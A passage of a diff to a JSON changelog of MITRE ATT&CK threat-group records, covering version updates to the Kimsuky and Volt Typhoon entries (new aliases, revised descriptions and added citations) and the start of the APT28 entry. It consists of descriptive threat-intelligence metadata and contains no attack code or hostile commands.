state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", + "aliases": [ + "Kimsuky", + "Black Banshee", + "Velvet Chollima", + "Emerald Sleet", + "THALLIUM", + "APT43", + "TA427" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0094", + "external_id": "G0094" + }, + { + "source_name": "Black Banshee", + "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)" + }, + { + "source_name": "THALLIUM", + "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)" + }, + { + "source_name": "APT43", + "description": "(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)" + }, + { + "source_name": "Emerald Sleet", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA427 April 2024)" + }, + { + "source_name": "TA427", + "description": "(Citation: Proofpoint TA427 April 2024)" + }, + { + "source_name": "Kimsuky", + "description": "(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)" + }, + { + "source_name": "Velvet Chollima", + "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)" + }, + { + "source_name": "AhnLab Kimsuky Kabar Cobra Feb 2019", + "description": "AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.", + "url": "https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf" + }, + { + "source_name": "EST Kimsuky April 2019", + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "url": "https://blog.alyac.co.kr/2234" + }, + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + }, + { + "source_name": "Zdnet Kimsuky Dec 2018", + "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", + "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/" + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a" + }, + { + "source_name": "Cybereason Kimsuky November 2020", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite" + }, + { + "source_name": "EST Kimsuky SmokeScreen April 2019", + "description": "ESTSecurity. (2019, April 17). Analysis of the APT Campaign \u2018Smoke Screen\u2019 targeting to Korea and US \ucd9c\ucc98: https://blog.alyac.co.kr/2243 [\uc774\uc2a4\ud2b8\uc2dc\ud050\ub9ac\ud2f0 \uc54c\uc57d \ube14\ub85c\uadf8]. Retrieved September 29, 2021.", + "url": "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf" + }, + { + "source_name": "Malwarebytes Kimsuky June 2021", + "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.", + "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/" + }, + { + "source_name": "Proofpoint TA427 April 2024", + "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering" + }, + { + "source_name": "Mandiant APT43 March 2024", + "description": "Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.", + "url": "https://services.google.com/fh/files/misc/apt43-report-en.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Securelist Kimsuky Sept 2013", + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + }, + { + "source_name": "ThreatConnect Kimsuky September 2020", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Taewoo Lee, KISA", + "Dongwook Kim, KISA" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "5.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-10 14:32:27.067000+00:00\", \"old_value\": \"2024-04-17 22:11:50.321000+00:00\"}, \"root['description']\": {\"new_value\": \"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\\n\\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\", \"old_value\": \"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\\n\\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\\n+[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\\n \\n [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\\n \"}, \"root['external_references'][2]['description']\": {\"new_value\": \"(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\", \"old_value\": \"(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA427 April 2024)\", \"old_value\": \"(Citation: Microsoft Threat Actor Naming July 2023)\", \"new_path\": \"root['external_references'][4]['description']\"}, \"root['external_references'][9]['source_name']\": {\"new_value\": \"Proofpoint TA427 April 2024\", \"old_value\": \"BRI Kimsuky April 2019\", \"new_path\": \"root['external_references'][16]['source_name']\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\\u2019s Art of Information Gathering. Retrieved May 3, 2024.\", \"old_value\": \"BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.\", \"new_path\": \"root['external_references'][16]['description']\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering\", \"old_value\": \"https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/\", \"new_path\": \"root['external_references'][16]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"5.0\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['aliases'][5]\": \"APT43\", \"root['aliases'][6]\": \"TA427\", \"root['external_references'][3]\": {\"source_name\": \"APT43\", \"description\": \"(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\"}, \"root['external_references'][5]\": {\"source_name\": \"TA427\", \"description\": \"(Citation: Proofpoint TA427 April 2024)\"}, \"root['external_references'][17]\": {\"source_name\": \"Mandiant APT43 March 2024\", \"description\": \"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.\", \"url\": \"https://services.google.com/fh/files/misc/apt43-report-en.pdf\"}}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 5.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North 
>Korea-based cyber espionage group that has been active since>Korea-based cyber espionage group that has been active since
> at least 2012. The group initially focused on targeting Sou> at least 2012. The group initially focused on targeting Sou
>th Korean government entities, think tanks, and individuals >th Korean government entities, think tanks, and individuals 
>identified as experts in various fields, and expanded its op>identified as experts in various fields, and expanded its op
>erations to include the United States, Russia, Europe, and t>erations to include the UN and the government, education, bu
>he UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has >siness services, and manufacturing sectors in the United Sta
>focused its intelligence collection activities on foreign po>tes, Japan, Russia, and Europe. [Kimsuky](https://attack.mit
>licy and national security issues related to the Korean peni>re.org/groups/G0094) has focused its intelligence collection
>nsula, nuclear policy, and sanctions.(Citation: EST Kimsuky > activities on foreign policy and national security issues r
>April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybe>elated to the Korean peninsula, nuclear policy, and sanction
>reason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky>s. [Kimsuky](https://attack.mitre.org/groups/G0094) operatio
> June 2021)(Citation: CISA AA20-301A Kimsuky)  [Kimsuky](htt>ns have overlapped with those of other North Korean cyber es
>ps://attack.mitre.org/groups/G0094) was assessed to be respo>pionage actors likely as a result of ad hoc collaborations o
>nsible for the 2014 Korea Hydro & Nuclear Power Co. compromi>r other limited resource sharing.(Citation: EST Kimsuky Apri
>se; other notable campaigns include Operation STOLEN PENCIL >l 2019)(Citation: Cybereason Kimsuky November 2020)(Citation
>(2018), Operation Kabar Cobra (2019), and Operation Smoke Sc>: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A K
>reen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Cita>imsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proof
>tion: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab K>point TA427 April 2024)  [Kimsuky](https://attack.mitre.org/
>imsuky Kabar Cobra Feb 2019)  North Korean group definitions>groups/G0094) was assessed to be responsible for the 2014 Ko
> are known to have significant overlap, and some security re>rea Hydro & Nuclear Power Co. compromise; other notable camp
>searchers report all North Korean state-sponsored cyber acti>aigns include Operation STOLEN PENCIL (2018), Operation Kaba
>vity under the name [Lazarus Group](https://attack.mitre.org>r Cobra (2019), and Operation Smoke Screen (2019).(Citation:
>/groups/G0032) instead of tracking clusters or subgroups.> Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky Smok
 >eScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb
 > 2019)  North Korean group definitions are known to have sig
 >nificant overlap, and some security researchers report all N
 >orth Korean state-sponsored cyber activity under the name [L
 >azarus Group](https://attack.mitre.org/groups/G0032) instead
 > of tracking clusters or subgroups.
" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-07-27 20:35:46.206000+00:00", + "modified": "2024-05-21 20:12:20.029000+00:00", + "name": "Volt Typhoon", + "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)", + "aliases": [ + "Volt Typhoon", + "BRONZE SILHOUETTE", + "Vanguard Panda", + "DEV-0391", + "UNC3236", + "Voltzite", + "Insidious Taurus" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1017", + "external_id": "G1017" + }, + { + "source_name": "Vanguard Panda", + "description": "(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)" + }, + { + "source_name": "DEV-0391", + "description": "(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)" + }, + { + "source_name": "UNC3236", + "description": "(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)" + }, + { + "source_name": "Voltzite", + "description": "(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)" + }, + { + "source_name": "Insidious Taurus", + "description": "(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)" + }, + { + "source_name": "BRONZE SILHOUETTE", + "description": "(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)" + }, + { + "source_name": "CISA AA24-038A PRC Critical Infrastructure February 2024", + "description": "CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.", + "url": "https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf" + }, + { + "source_name": "Secureworks BRONZE SILHOUETTE May 2023", + "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.", + "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations" + }, + { + "source_name": "Microsoft Volt Typhoon May 2023", + "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/" + }, + { + "source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", + "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.", + "url": "https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Phyo Paing Htun (ChiLai), I-Secure Co.,Ltd", + "Ai Kimura, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-21 20:12:20.029000+00:00\", \"old_value\": \"2024-03-28 04:14:40.834000+00:00\"}, \"root['description']\": {\"new_value\": \"[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)\", \"old_value\": \"[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021. [Volt Typhoon](https://attack.mitre.org/groups/G1017) typically focuses on espionage and information gathering and has targeted critical infrastructure organizations in the US including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\", \"old_value\": \"(Citation: Secureworks BRONZE SILHOUETTE May 2023)\", \"new_path\": \"root['external_references'][6]['description']\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['aliases'][2]\": \"Vanguard Panda\", \"root['aliases'][3]\": \"DEV-0391\", \"root['aliases'][4]\": \"UNC3236\", \"root['aliases'][5]\": \"Voltzite\", \"root['aliases'][6]\": \"Insidious Taurus\", \"root['external_references'][1]\": {\"source_name\": \"Vanguard Panda\", \"description\": \"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\"}, \"root['external_references'][2]\": {\"source_name\": \"DEV-0391\", \"description\": \"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\"}, \"root['external_references'][3]\": {\"source_name\": \"UNC3236\", \"description\": \"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\"}, \"root['external_references'][4]\": {\"source_name\": \"Voltzite\", \"description\": \"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\"}, \"root['external_references'][5]\": {\"source_name\": \"Insidious Taurus\", \"description\": \"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\"}, \"root['external_references'][7]\": {\"source_name\": \"CISA AA24-038A PRC Critical Infrastructure February 2024\", \"description\": \"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.\", \"url\": \"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a Pt1[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a P
>eople's Republic of China (PRC) state-sponsored actor that h>eople's Republic of China (PRC) state-sponsored actor that h
>as been active since at least 2021. [Volt Typhoon](https://a>as been active since at least 2021 primarily targeting criti
>ttack.mitre.org/groups/G1017) typically focuses on espionage>cal infrastructure organizations in the US and its territori
> and information gathering and has targeted critical infrast>es including Guam. [Volt Typhoon](https://attack.mitre.org/g
>ructure organizations in the US including Guam. [Volt Typhoo>roups/G1017)'s targeting and pattern of behavior have been a
>n](https://attack.mitre.org/groups/G1017) has emphasized ste>ssessed as pre-positioning to enable lateral movement to ope
>alth in operations using web shells, living-off-the-land (LO>rational technology (OT) assets for potential destructive or
>TL) binaries, hands on keyboard activities, and stolen crede> disruptive attacks. [Volt Typhoon](https://attack.mitre.org
>ntials.(Citation: Microsoft Volt Typhoon May 2023)(Citation:>/groups/G1017) has emphasized stealth in operations using we
> Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citati>b shells, living-off-the-land (LOTL) binaries, hands on keyb
>on: Secureworks BRONZE SILHOUETTE May 2023)>oard activities, and stolen credentials.(Citation: CISA AA24
 >-038A PRC Critical Infrastructure February 2024)(Citation: M
 >icrosoft Volt Typhoon May 2023)(Citation: Joint Cybersecurit
 >y Advisory Volt Typhoon June 2023)(Citation: Secureworks BRO
 >NZE SILHOUETTE May 2023)
" + } + ], + "minor_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:48.664000+00:00", + "modified": "2024-10-10 14:31:01.968000+00:00", + "name": "APT28", + "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019)\n\n[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election.(Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). ", + "aliases": [ + "APT28", + "IRON TWILIGHT", + "SNAKEMACKEREL", + "Swallowtail", + "Group 74", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127", + "Forest Blizzard", + "FROZENLAKE" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0007", + "external_id": "G0007" + }, + { + "source_name": "SNAKEMACKEREL", + "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)" + }, + { + "source_name": "Fancy Bear", + "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)" + }, + { + "source_name": "Tsar Team", + "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "APT28", + "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)" + }, + { + "source_name": "STRONTIUM", + "description": "(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)" + }, + { + "source_name": "FROZENLAKE", + "description": "(Citation: Leonard TAG 2023)" + }, + { + "source_name": "Forest Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "IRON TWILIGHT", + "description": "(Citation: Secureworks IRON TWILIGHT Profile)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)" + }, + { + "source_name": "Threat Group-4127", + "description": "(Citation: SecureWorks TG-4127)" + }, + { + "source_name": "TG-4127", + "description": "(Citation: SecureWorks TG-4127)" + }, + { + "source_name": "Pawn Storm", + "description": "(Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) " + }, + { + "source_name": "Swallowtail", + "description": "(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "Group 74", + "description": "(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": 